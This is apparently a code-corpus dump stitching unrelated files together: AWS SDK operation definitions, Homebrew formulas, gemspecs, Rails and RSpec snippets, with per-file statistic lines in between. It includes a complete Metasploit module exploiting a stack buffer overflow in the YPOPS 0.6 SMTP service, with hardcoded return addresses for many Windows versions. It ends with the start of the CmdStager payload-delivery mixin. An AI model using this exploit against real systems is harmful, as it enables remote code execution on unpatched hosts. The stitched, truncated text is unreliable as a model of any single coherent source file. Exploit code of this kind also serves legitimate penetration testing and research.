Shapes::ShapeRef.new(shape: SearchContactsRequest) o.output = Shapes::ShapeRef.new(shape: SearchContactsResponse) o[:pager] = Aws::Pager.new( limit_key: "max_results", tokens: { "next_token" => "next_token" } ) end) api.add_operation(:search_devices, Seahorse::Model::Operation.new.tap do |o| o.name = "SearchDevices" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: SearchDevicesRequest) o.output = Shapes::ShapeRef.new(shape: SearchDevicesResponse) o[:pager] = Aws::Pager.new( limit_key: "max_results", tokens: { "next_token" => "next_token" } ) end) api.add_operation(:search_network_profiles, Seahorse::Model::Operation.new.tap do |o| o.name = "SearchNetworkProfiles" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: SearchNetworkProfilesRequest) o.output = Shapes::ShapeRef.new(shape: SearchNetworkProfilesResponse) o[:pager] = Aws::Pager.new( limit_key: "max_results", tokens: { "next_token" => "next_token" } ) end) api.add_operation(:search_profiles, Seahorse::Model::Operation.new.tap do |o| o.name = "SearchProfiles" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: SearchProfilesRequest) o.output = Shapes::ShapeRef.new(shape: SearchProfilesResponse) o[:pager] = Aws::Pager.new( limit_key: "max_results", tokens: { "next_token" => "next_token" } ) end) api.add_operation(:search_rooms, Seahorse::Model::Operation.new.tap do |o| o.name = "SearchRooms" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: SearchRoomsRequest) o.output = Shapes::ShapeRef.new(shape: SearchRoomsResponse) o[:pager] = Aws::Pager.new( limit_key: "max_results", tokens: { "next_token" => "next_token" } ) end) api.add_operation(:search_skill_groups, Seahorse::Model::Operation.new.tap do |o| o.name = "SearchSkillGroups" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: SearchSkillGroupsRequest) o.output = Shapes::ShapeRef.new(shape: SearchSkillGroupsResponse) o[:pager] = Aws::Pager.new( limit_key: "max_results", tokens: { "next_token" => "next_token" } ) end) api.add_operation(:search_users, Seahorse::Model::Operation.new.tap do |o| o.name = "SearchUsers" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: SearchUsersRequest) o.output = Shapes::ShapeRef.new(shape: SearchUsersResponse) o[:pager] = Aws::Pager.new( limit_key: "max_results", tokens: { "next_token" => "next_token" } ) end) api.add_operation(:send_announcement, Seahorse::Model::Operation.new.tap do |o| o.name = "SendAnnouncement" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: SendAnnouncementRequest) o.output = Shapes::ShapeRef.new(shape: SendAnnouncementResponse) o.errors << Shapes::ShapeRef.new(shape: LimitExceededException) o.errors << Shapes::ShapeRef.new(shape: AlreadyExistsException) end) api.add_operation(:send_invitation, Seahorse::Model::Operation.new.tap do |o| o.name = "SendInvitation" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: SendInvitationRequest) o.output = Shapes::ShapeRef.new(shape: SendInvitationResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: InvalidUserStatusException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) api.add_operation(:start_device_sync, Seahorse::Model::Operation.new.tap do |o| o.name = "StartDeviceSync" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: StartDeviceSyncRequest) o.output = Shapes::ShapeRef.new(shape: StartDeviceSyncResponse) o.errors << Shapes::ShapeRef.new(shape: DeviceNotRegisteredException) end) api.add_operation(:start_smart_home_appliance_discovery, Seahorse::Model::Operation.new.tap do |o| o.name = "StartSmartHomeApplianceDiscovery" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: StartSmartHomeApplianceDiscoveryRequest) o.output = Shapes::ShapeRef.new(shape: StartSmartHomeApplianceDiscoveryResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:tag_resource, Seahorse::Model::Operation.new.tap do |o| o.name = "TagResource" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: TagResourceRequest) o.output = Shapes::ShapeRef.new(shape: TagResourceResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:untag_resource, Seahorse::Model::Operation.new.tap do |o| o.name = "UntagResource" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: UntagResourceRequest) o.output = Shapes::ShapeRef.new(shape: UntagResourceResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:update_address_book, Seahorse::Model::Operation.new.tap do |o| o.name = "UpdateAddressBook" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: UpdateAddressBookRequest) o.output = Shapes::ShapeRef.new(shape: UpdateAddressBookResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: NameInUseException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) api.add_operation(:update_business_report_schedule, Seahorse::Model::Operation.new.tap do |o| o.name = "UpdateBusinessReportSchedule" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: UpdateBusinessReportScheduleRequest) o.output = Shapes::ShapeRef.new(shape: UpdateBusinessReportScheduleResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) api.add_operation(:update_conference_provider, Seahorse::Model::Operation.new.tap do |o| o.name = "UpdateConferenceProvider" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: UpdateConferenceProviderRequest) o.output = Shapes::ShapeRef.new(shape: UpdateConferenceProviderResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) end) api.add_operation(:update_contact, Seahorse::Model::Operation.new.tap do |o| o.name = "UpdateContact" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: UpdateContactRequest) o.output = Shapes::ShapeRef.new(shape: UpdateContactResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) api.add_operation(:update_device, Seahorse::Model::Operation.new.tap do |o| o.name = "UpdateDevice" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: UpdateDeviceRequest) o.output = Shapes::ShapeRef.new(shape: UpdateDeviceResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) o.errors << Shapes::ShapeRef.new(shape: DeviceNotRegisteredException) end) api.add_operation(:update_gateway, Seahorse::Model::Operation.new.tap do |o| o.name = "UpdateGateway" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: UpdateGatewayRequest) o.output = Shapes::ShapeRef.new(shape: UpdateGatewayResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: NameInUseException) end) api.add_operation(:update_gateway_group, Seahorse::Model::Operation.new.tap do |o| o.name = "UpdateGatewayGroup" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: UpdateGatewayGroupRequest) o.output = Shapes::ShapeRef.new(shape: UpdateGatewayGroupResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: NameInUseException) end) api.add_operation(:update_network_profile, Seahorse::Model::Operation.new.tap do |o| o.name = "UpdateNetworkProfile" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: UpdateNetworkProfileRequest) o.output = Shapes::ShapeRef.new(shape: UpdateNetworkProfileResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: NameInUseException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) o.errors << Shapes::ShapeRef.new(shape: InvalidCertificateAuthorityException) o.errors << Shapes::ShapeRef.new(shape: InvalidSecretsManagerResourceException) end) api.add_operation(:update_profile, Seahorse::Model::Operation.new.tap do |o| o.name = "UpdateProfile" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: UpdateProfileRequest) o.output = Shapes::ShapeRef.new(shape: UpdateProfileResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: NameInUseException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) api.add_operation(:update_room, Seahorse::Model::Operation.new.tap do |o| o.name = "UpdateRoom" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: UpdateRoomRequest) o.output = Shapes::ShapeRef.new(shape: UpdateRoomResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: NameInUseException) end) api.add_operation(:update_skill_group, Seahorse::Model::Operation.new.tap do |o| o.name = "UpdateSkillGroup" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: UpdateSkillGroupRequest) o.output = Shapes::ShapeRef.new(shape: UpdateSkillGroupResponse) o.errors << Shapes::ShapeRef.new(shape: NotFoundException) o.errors << Shapes::ShapeRef.new(shape: NameInUseException) o.errors << Shapes::ShapeRef.new(shape: ConcurrentModificationException) end) end end end
68.23154
205
0.76831
e96f78af16e8c7395b438585eef4919d70734dac
2,341
require "topological_inventory-api-client" require "topological_inventory/migration_toolkit_virtualization/operations/core/migration_toolkit_virtualization_client" require "topological_inventory/migration_toolkit_virtualization/operations/core/service_order_mixin" require "topological_inventory/migration_toolkit_virtualization/operations/core/topology_api_client" require "topological_inventory/migration_toolkit_virtualization/operations/applied_inventories/parser" module TopologicalInventory module MigrationToolkitVirtualization module Operations class ServiceOffering include Logging include Core::TopologyApiClient include Core::ServiceOrderMixin attr_accessor :params, :identity def initialize(params = {}, identity = nil) @params = params @identity = identity end def applied_inventories task_id, service_offering_id, service_params = params.values_at("task_id", "service_offering_id", "service_parameters") service_params ||= {} update_task(task_id, :state => "running", :status => "ok") service_offering = topology_api_client.show_service_offering(service_offering_id.to_s) prompted_inventory_id = service_params['prompted_inventory_id'] parser = init_parser(identity, service_offering, prompted_inventory_id) inventories = if parser.is_workflow_template?(service_offering) parser.load_workflow_template_inventories else [ parser.load_job_template_inventory ].compact end update_task(task_id, :state => "completed", :status => "ok", :context => { :applied_inventories => inventories.map(&:id) }) rescue StandardError => err logger.error("[Task #{task_id}] AppliedInventories error: #{err}\n#{err.backtrace.join("\n")}") update_task(task_id, :state => "completed", :status => "error", :context => { :error => err.to_s }) end private def init_parser(identity, service_offering, prompted_inventory_id) TopologicalInventory::MigrationToolkitVirtualization::Operations::AppliedInventories::Parser.new(identity, service_offering, prompted_inventory_id) end end end end end
44.169811
157
0.703545
e29c7a480595a8dcce3373e250c8c0ef19db482c
6,920
class Conan < Formula desc "Distributed, open source, package manager for C/C++" homepage "https://github.com/conan-io/conan" url "https://pypi.python.org/packages/9a/48/0028e0281563dfe327e594d5f2d18fa79e0bae3d8b3a73e56334dc19a9c6/conan-0.12.0.tar.gz" sha256 "799d564040a5dfda4dd0c31789a2edb64e4ca8e40f7f6486a1fcb0758c03691c" bottle do cellar :any sha256 "45f638de8d0d71f577fb394d17d0c5ed24051543d8e8afc4e74196e9719d212d" => :el_capitan sha256 "b1bccd6c7e42712974ccda12f29dc4539e9a30219eb24e599edd52687edb086b" => :yosemite sha256 "fa21b1a6915bbbe143718f17e5d37392a5af84e8823e7ba88a90364e115ff040" => :mavericks end depends_on "python" if MacOS.version <= :snow_leopard depends_on "openssl" resource "setuptools" do url "https://pypi.python.org/packages/source/s/setuptools/setuptools-20.9.0.tar.gz" sha256 "2a360c782e067f84840315bcdcb5ed6c7c841cdedf6444f3232ab4a8b3204ac1" end resource "backport_ipaddress" do url "https://pypi.python.org/packages/d3/30/54c6dab05a4dec44db25ff309f1fbb6b7a8bde3f2bade38bb9da67bbab8f/backport_ipaddress-0.1.tar.gz" sha256 "860e338c08e2e9d998ed8434e944af9780e2baa337d1544cc26c9b1763b7735c" end resource "boto" do url "https://pypi.python.org/packages/e5/6e/13022066f104f6097a7414763c5658d68081ad0bc2b0630a83cd498a6f22/boto-2.38.0.tar.gz" sha256 "d9083f91e21df850c813b38358dc83df16d7f253180a1344ecfedce24213ecf2" end resource "bottle" do url "https://pypi.python.org/packages/d2/59/e61e3dc47ed47d34f9813be6d65462acaaba9c6c50ec863db74101fa8757/bottle-0.12.9.tar.gz" sha256 "fe0a24b59385596d02df7ae7845fe7d7135eea73799d03348aeb9f3771500051" end resource "cffi" do url "https://pypi.python.org/packages/b6/98/11feff87072e2e640fb8320712b781eccdef05d588618915236b32289d5a/cffi-1.6.0.tar.gz" sha256 "a7f75c4ef2362c0a0e54657add0a6c509fecbfa3b3807bc0925f5cb1c9f927db" end resource "colorama" do url "https://pypi.python.org/packages/f0/d0/21c6449df0ca9da74859edc40208b3a57df9aca7323118c913e58d442030/colorama-0.3.7.tar.gz" sha256 "e043c8d32527607223652021ff648fbb394d5e19cba9f1a698670b338c9d782b" end resource "cryptography" do url "https://pypi.python.org/packages/a9/5b/a383b3a778609fe8177bd51307b5ebeee369b353550675353f46cb99c6f0/cryptography-1.4.tar.gz" sha256 "bb149540ed90c4b2171bf694fe6991d6331bc149ae623c8ff419324f4222d128" end resource "enum34" do url "https://pypi.python.org/packages/bf/3e/31d502c25302814a7c2f1d3959d2a3b3f78e509002ba91aea64993936876/enum34-1.1.6.tar.gz" sha256 "8ad8c4783bf61ded74527bffb48ed9b54166685e4230386a9ed9b1279e2df5b1" end resource "fasteners" do url "https://pypi.python.org/packages/f4/6f/41b835c9bf69b03615630f8a6f6d45dafbec95eb4e2bb816638f043552b2/fasteners-0.14.1.tar.gz" sha256 "427c76773fe036ddfa41e57d89086ea03111bbac57c55fc55f3006d027107e18" end resource "idna" do url "https://pypi.python.org/packages/fb/84/8c27516fbaa8147acd2e431086b473c453c428e24e8fb99a1d89ce381851/idna-2.1.tar.gz" sha256 "ed36f281aebf3cd0797f163bb165d84c31507cedd15928b095b1675e2d04c676" end resource "ipaddress" do url "https://pypi.python.org/packages/cd/c5/bd44885274379121507870d4abfe7ba908326cf7bfd50a48d9d6ae091c0d/ipaddress-1.0.16.tar.gz" sha256 "5a3182b322a706525c46282ca6f064d27a02cffbd449f9f47416f1dc96aa71b0" end resource "monotonic" do url "https://pypi.python.org/packages/3f/3b/7ee821b1314fbf35e6f5d50fce1b853764661a7f59e2da1cb58d33c3fdd9/monotonic-1.1.tar.gz" sha256 "255c31929e1a01acac4ca709f95bd6d319d6112db3ba170d1fe945a6befe6942" end resource "ndg-httpsclient" do url "https://pypi.python.org/packages/08/92/6318c6c71566778782065736d73c62e621a7a190f9bb472a23857d97f823/ndg_httpsclient-0.4.1.tar.gz" sha256 "133931ab2cf7118f8fc7ccc29e289ba8f644dd90f84632fa0e6eb16df4ba1891" end resource "passlib" do url "https://pypi.python.org/packages/1e/59/d1a50836b29c87a1bde9442e1846aa11e1548491cbee719e51b45a623e75/passlib-1.6.5.tar.gz" sha256 "a83d34f53dc9b17aa42c9a35c3fbcc5120f3fcb07f7f8721ec45e6a27be347fc" end resource "patch" do url "https://pypi.python.org/packages/da/74/0815f03c82f4dc738e2bfc5f8966f682bebcc809f30c8e306e6cc7156a99/patch-1.16.zip" sha256 "c62073f356cff054c8ac24496f1a3d7cfa137835c31e9af39a9f5292fd75bd9f" end resource "pyasn" do url "https://pypi.python.org/packages/59/19/c27c3cd9506de02f90cf2316d922e067f6abd487cf7ef166ea91962ddc88/pyasn-1.5.0b7.tar.gz" sha256 "361ec1ae958c6bcd88653febbe35b2d0961f0b891ed988544327c0ae308bd521" end resource "pyasn1" do url "https://pypi.python.org/packages/f7/83/377e3dd2e95f9020dbd0dfd3c47aaa7deebe3c68d3857a4e51917146ae8b/pyasn1-0.1.9.tar.gz" sha256 "853cacd96d1f701ddd67aa03ecc05f51890135b7262e922710112f12a2ed2a7f" end resource "pycparser" do url "https://pypi.python.org/packages/6d/31/666614af3db0acf377876d48688c5d334b6e493b96d21aa7d332169bee50/pycparser-2.14.tar.gz" sha256 "7959b4a74abdc27b312fed1c21e6caf9309ce0b29ea86b591fd2e99ecdf27f73" end resource "PyJWT" do url "https://pypi.python.org/packages/55/88/88d9590195a7fcc947501806f79c0918d8d3cdc6f519225d4efaaf3965e8/PyJWT-1.4.0.tar.gz" sha256 "e1b2386cfad541445b1d43e480b02ca37ec57259fd1a23e79415b57ba5d8a694" end resource "pyOpenSSL" do url "https://pypi.python.org/packages/77/f2/bccec75ca4280a9fa762a90a1b8b152a22eac5d9c726d7da1fcbfe0a20e6/pyOpenSSL-16.0.0.tar.gz" sha256 "363d10ee43d062285facf4e465f4f5163f9f702f9134f0a5896f134cbb92d17d" end resource "PyYAML" do url "https://pypi.python.org/packages/75/5e/b84feba55e20f8da46ead76f14a3943c8cb722d40360702b2365b91dec00/PyYAML-3.11.tar.gz" sha256 "c36c938a872e5ff494938b33b14aaa156cb439ec67548fcab3535bb78b0846e8" end resource "requests" do url "https://pypi.python.org/packages/2e/ad/e627446492cc374c284e82381215dcd9a0a87c4f6e90e9789afefe6da0ad/requests-2.11.1.tar.gz" sha256 "5acf980358283faba0b897c73959cecf8b841205bb4b2ad3ef545f46eae1a133" end resource "six" do url "https://pypi.python.org/packages/b3/b2/238e2590826bfdd113244a40d9d3eb26918bd798fc187e2360a8367068db/six-1.10.0.tar.gz" sha256 "105f8d68616f8248e24bf0e9372ef04d3cc10104f1980f54d57b2ce73a5ad56a" end def install ENV.prepend_create_path "PYTHONPATH", libexec/"vendor/lib/python2.7/site-packages" resources.each do |r| r.stage do system "python", *Language::Python.setup_install_args(libexec/"vendor") end end touch libexec/"vendor/lib/python2.7/site-packages/ndg/__init__.py" ENV.prepend_create_path "PYTHONPATH", libexec/"lib/python2.7/site-packages" system "python", *Language::Python.setup_install_args(libexec) bin.install Dir[libexec/"bin/*"] bin.env_script_all_files(libexec/"bin", PYTHONPATH: ENV["PYTHONPATH"]) end test do system "#{bin}/conan", "install", "OpenSSL/1.0.2h@lasote/stable", "--build", "OpenSSL" end end
45.228758
139
0.810983
01af4e8694639fa74c28ab6a81d82b1138ef9d34
1,567
Gem::Specification.new do |spec| spec.name = "fluent-plugin-parser-protobuf" spec.version = "0.1.2" spec.authors = ["Hiroshi Hatake"] spec.email = ["[email protected]"] spec.summary = %q{Protobuf parser for Fluentd.} spec.description = %q{Protobuf parser for Fluentd.} spec.homepage = "https://github.com/fluent-plugins-nursery/fluent-plugin-parser-protobuf" spec.required_ruby_version = Gem::Requirement.new(">= 2.3.0") spec.metadata["allowed_push_host"] = "https://rubygems.org" spec.metadata["homepage_uri"] = spec.homepage spec.metadata["source_code_uri"] = "https://github.com/fluent-plugins-nursery/fluent-plugin-parser-protobuf" spec.metadata["changelog_uri"] = "https://github.com/fluent-plugins-nursery/fluent-plugin-parser-protobuf/blob/master/CHANGELOG.md" # Specify which files should be added to the gem when it is released. # The `git ls-files -z` loads the files in the RubyGem that have been added into git. spec.files = Dir.chdir(File.expand_path('..', __FILE__)) do `git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|spec|features)/}) } end spec.bindir = "exe" spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) } spec.require_paths = ["lib"] spec.license = "Apache-2.0" spec.add_development_dependency 'test-unit', '~> 3.3.0' spec.add_runtime_dependency "fluentd", [">= 1.0", "< 2"] spec.add_runtime_dependency "google-protobuf", ["~> 3.12"] spec.add_runtime_dependency "ruby-protocol-buffers" end
47.484848
133
0.681557
1d2b43c8c3f8db9e8fcebe4349c331d5511f8e7d
724
module I18nTranslation module Translate class Storage attr_accessor :locale def initialize(locale) self.locale = locale.to_sym end def write_to_file I18nTranslation::Translate::TranslationFile.new(file_path).write(keys) end def self.file_paths(locale) Dir.glob(File.join(root_dir, 'config', 'locales', '**', "#{locale}.yml")) end def self.root_dir Rails.root.to_s end private def keys { locale => I18n.backend.send(:translations)[locale] } end def file_path File.join(I18nTranslation::Translate::Storage.root_dir.to_s, 'config', 'locales', "#{locale}.yml") end end end end
21.294118
106
0.614641
1daff1a9a081d1484d2c6085fb561c71e6ce0123
637
## # A section of verbatim text class RDoc::Markup::Verbatim < RDoc::Markup::Raw def accept visitor visitor.accept_verbatim self end ## # Collapses 3+ newlines into two newlines def normalize parts = [] newlines = 0 @parts.each do |part| case part when /\n/ then newlines += 1 parts << part if newlines <= 2 else newlines = 0 parts << part end end parts.slice!(-1) if parts[-2..-1] == ["\n", "\n"] @parts = parts end ## # The text of the section def text @parts.join end end
14.813953
54
0.513344
392b20847b4ba590ef012492a8ee7dbce7af9663
1,530
class Pound < Formula desc "Reverse proxy, load balancer and HTTPS front-end for web servers" homepage "http://www.apsis.ch/pound" url "http://www.apsis.ch/pound/Pound-2.7.tgz" sha256 "cdfbf5a7e8dc8fbbe0d6c1e83cd3bd3f2472160aac65684bb01ef661c626a8e4" bottle do sha256 "824d3b78c57b323b8ad1b5bbd022857d184d5da74ed9c5270c00dcdb3c85a93d" => :high_sierra sha256 "b8ecc286bd1087162de7473a6308a8fdbc0d2aa74c3964c461f3db04e31046a4" => :sierra sha256 "c322d869b30e2b3b3e6ade660f1dcb85507d4bdc0db85553f76fa983c00fa661" => :el_capitan sha256 "aebc9ef8e97b4995923752811da180e83adcf2ef55d1809d7dc51b44a73d1b02" => :yosemite sha256 "74c64dba8bf19737259ad996f15bbf66bb2bcd24e71ef206ec4b0e6bf1042a70" => :mavericks sha256 "fa872353daeab3c6386f947b74c43932f66a20acf230575dec3afaf835edc22b" => :mountain_lion end depends_on "openssl" depends_on "pcre" depends_on "gperftools" => :recommended def install system "./configure", "--prefix=#{prefix}", "--disable-tcmalloc" system "make" # Manual install to get around group issues sbin.install "pound", "poundctl" man8.install "pound.8", "poundctl.8" end test do (testpath/"pound.cfg").write <<-EOS.undent ListenHTTP Address 1.2.3.4 Port 80 Service HeadRequire "Host: .*www.server0.com.*" BackEnd Address 192.168.0.10 Port 80 End End End EOS system "#{sbin}/pound", "-f", "#{testpath}/pound.cfg", "-c" end end
33.26087
95
0.706536
f7c61e1d740c24d438e627beb7caab9204b6ee6b
65
module RailsWatcher class Railtie < ::Rails::Railtie end end
13
34
0.738462
b9f8bf0e69deba9851e9858e4e00bad674c0d47e
182
require 'delegate' module Duracloud::Commands class Command < SimpleDelegator def self.call(cli) new(cli).call end def cli __getobj__ end end end
11.375
33
0.642857
6af991b76744a6877cd5f5c7032831650d0480f7
748
# frozen_string_literal: true FactoryBot.define do factory :user do first_name { Faker::Name.first_name } last_name { Faker::Name.last_name } email { Faker::Internet.email } password { "password" } password_confirmation { "password" } confirmed_at { 5.minutes.ago } trial_ends_at { 1.hour.from_now } association :plan initialize_with { User.where(email: email).first_or_initialize } trait :admin do admin { true } end trait :pro do association :product, :pro end trait :trial_expired do trial_ends_at { 1.hour.ago } end trait :avatared do avatar { Rack::Test::UploadedFile.new("#{::Rails.root}/spec/fixtures/files/money_sloth.png") } end end end
23.375
100
0.657754
61959729a93bab3e03372e03464e3f8dc426d1c9
668
# -*- ruby -*- encoding: utf-8 -*- gem 'rjack-tarpit', '~> 2.1' require 'rjack-tarpit/spec' RJack::TarPit.specify do |s| require 'fishwife/base' s.version = Fishwife::VERSION s.summary = "A Jetty based Rack HTTP 1.1 server." s.add_developer( 'David Kellum', '[email protected]' ) s.depend 'rack', '>= 1.6.4', '< 2.1' s.depend 'rjack-jetty', '>= 9.2.11', '< 9.5' s.depend 'rjack-slf4j', '~> 1.7.2' s.depend 'json', '~> 2.1', :dev s.depend 'rjack-logback', '~> 1.5', :dev s.depend 'rspec', '~> 3.6.0', :dev s.maven_strategy = :no_assembly end
27.833333
60
0.510479
e9e195ab442e0aa9d19cbb9cea94aae5f0423e98
2,965
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Smtp def initialize(info = {}) super(update_info(info, 'Name' => 'YPOPS 0.6 Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the YPOPS POP3 service. This is a classic stack buffer overflow for YPOPS version 0.6. Possibly Affected version 0.5, 0.4.5.1, 0.4.5. Eip point to jmp ebx opcode in ws_32.dll }, 'Author' => [ 'acaro <acaro[at]jervus.it>' ], 'References' => [ [ 'CVE', '2004-1558'], [ 'BID', '11256'], [ 'URL', 'http://www.securiteam.com/windowsntfocus/5GP0M2KE0S.html'], ], 'Platform' => 'win', 'Privileged' => false, 'Payload' => { 'Space' => 1200, 'BadChars' => "\x00\x25", 'MinNops' => 106, }, 'Targets' => [ [ 'Windows 2000 SP0 Italian', { 'Ret' => 0x74fe6113, 'Offset' => 503 }, ], [ 'Windows 2000 Advanced Server Italian SP4', { 'Ret' => 0x74fe16e2, 'Offset' => 503 }, ], [ 'Windows 2000 Advanced Server SP3 English', { 'Ret' => 0x74fe22f3, 'Offset' => 503 }, ], [ 'Windows 2000 SP0 English', { 'Ret' => 0x75036113, 'Offset' => 503 }, ], [ 'Windows 2000 SP1 English', { 'Ret' => 0x750317b2, 'Offset' => 503 }, ], [ 'Windows 2000 SP2 English', { 'Ret' => 0x7503435b, 'Offset' => 503 }, ], [ 'Windows 2000 SP3 English', { 'Ret' => 0x750322f3, 'Offset' => 503 }, ], [ 'Windows 2000 SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 503 }, ], [ 'Windows XP SP0-SP1 English', { 'Ret' => 0x71ab1636, 'Offset' => 503 }, ], [ 'Windows XP SP2 English', { 'Ret' => 0x71ab773b, 'Offset' => 503 }, ], [ 'Windows 2003 SP0 English', { 'Ret' => 0x71c04202, 'Offset' => 503 }, ], [ 'Windows 2003 SP1 English', { 'Ret' => 0x71c05fb0, 'Offset' => 503 }, ], ], 'DisclosureDate' => 'Sep 27 2004')) end def check connect disconnect banner.gsub!(/\n/, '') if banner =~ /YahooPOPs! Simple Mail Transfer Service Ready/ vprint_status("Vulnerable SMTP server: #{banner}") return Exploit::CheckCode::Detected end vprint_status("Unknown SMTP server: #{banner}") return Exploit::CheckCode::Safe end def exploit connect pattern = rand_text_alpha(target['Offset'] - payload.encoded.length) + payload.encoded + [target.ret].pack('V') + "\n" print_status("Trying #{target.name} using jmp ebx at #{"0x%.8x" % target.ret}") sock.put(pattern) handler disconnect end end
32.944444
100
0.54199
d56d17ef1fb928479024b5f154a50b416ef2197d
1,045
require 'spec_helper' describe SetMemberSubjectSelector do let(:count) { create(:subject_workflow_count) } let(:user) { create(:user) } before do count.workflow.subject_sets = [count.set_member_subject.subject_set] count.workflow.save! end context 'when there is a user and they have participated before' do before { allow_any_instance_of(SetMemberSubjectSelector).to receive(:select_from_all?).and_return(false) } it 'does not include subjects that have been seen' do seen_subject = create(:subject, subject_sets: [count.set_member_subject.subject_set]) create(:user_seen_subject, user: user, workflow: count.workflow, subject_ids: [seen_subject.id]) sms = SetMemberSubjectSelector.new(count.workflow, user).set_member_subjects expect(sms).to eq([count.set_member_subject]) end it 'does not include subjects that are retired' do count.retire! sms = SetMemberSubjectSelector.new(count.workflow, user).set_member_subjects expect(sms).to be_empty end end end
34.833333
110
0.742584
f757a9cd9a9bf7e325c1ed5b73e29e3473a47682
245
class SongsWorker require 'csv' include Sidekiq::Worker def perform(file) CSV.foreach(params["file"].path, headers: true) do |song| Song.create(title: song[0], artist_name: song[1]) end end end
24.5
65
0.595918
185531b338c16a2f36b1ddd01a3b30c04111ab83
259
class ApplicationController < ActionController::API def serialize(object) return '{}' if object.nil? serializer_class = "#{object.class.name}Serializer".constantize JSON.pretty_generate(serializer_class.new(object).serializable_hash) end end
28.777778
72
0.76834
acbf8213b2b1fe61f3fa75f5cac05f14de719902
11,779
# -*- coding: binary -*- require 'rex/exploitation/cmdstager' require 'msf/core/exploit/cmdstager/http' module Msf # This mixin provides an interface to generating cmdstagers module Exploit::CmdStager include Msf::Exploit::EXE include Msf::Exploit::CmdStager::Http # Constant for stagers - used when creating an stager instance. STAGERS = { :bourne => Rex::Exploitation::CmdStagerBourne, :debug_asm => Rex::Exploitation::CmdStagerDebugAsm, :debug_write => Rex::Exploitation::CmdStagerDebugWrite, :echo => Rex::Exploitation::CmdStagerEcho, :printf => Rex::Exploitation::CmdStagerPrintf, :vbs => Rex::Exploitation::CmdStagerVBS, :vbs_adodb => Rex::Exploitation::CmdStagerVBS, :certutil => Rex::Exploitation::CmdStagerCertutil, :tftp => Rex::Exploitation::CmdStagerTFTP, :wget => Rex::Exploitation::CmdStagerWget, :curl => Rex::Exploitation::CmdStagerCurl, :fetch => Rex::Exploitation::CmdStagerFetch } # Constant for decoders - used when checking the default flavor decoder. DECODERS = { :debug_asm => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "debug_asm"), :debug_write => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "debug_write"), :vbs => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64"), :vbs_adodb => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64_adodb") } attr_accessor :stager_instance attr_accessor :cmd_list attr_accessor :flavor attr_accessor :decoder attr_accessor :exe # Creates an instance of an exploit that uses an CMD Stager and register the # datastore options provided by the mixin. # # @param info [Hash] Hash containing information to initialize the exploit. # @return [Msf::Module::Exploit] the exploit module. def initialize(info = {}) super flavors = module_flavors flavors = STAGERS.keys 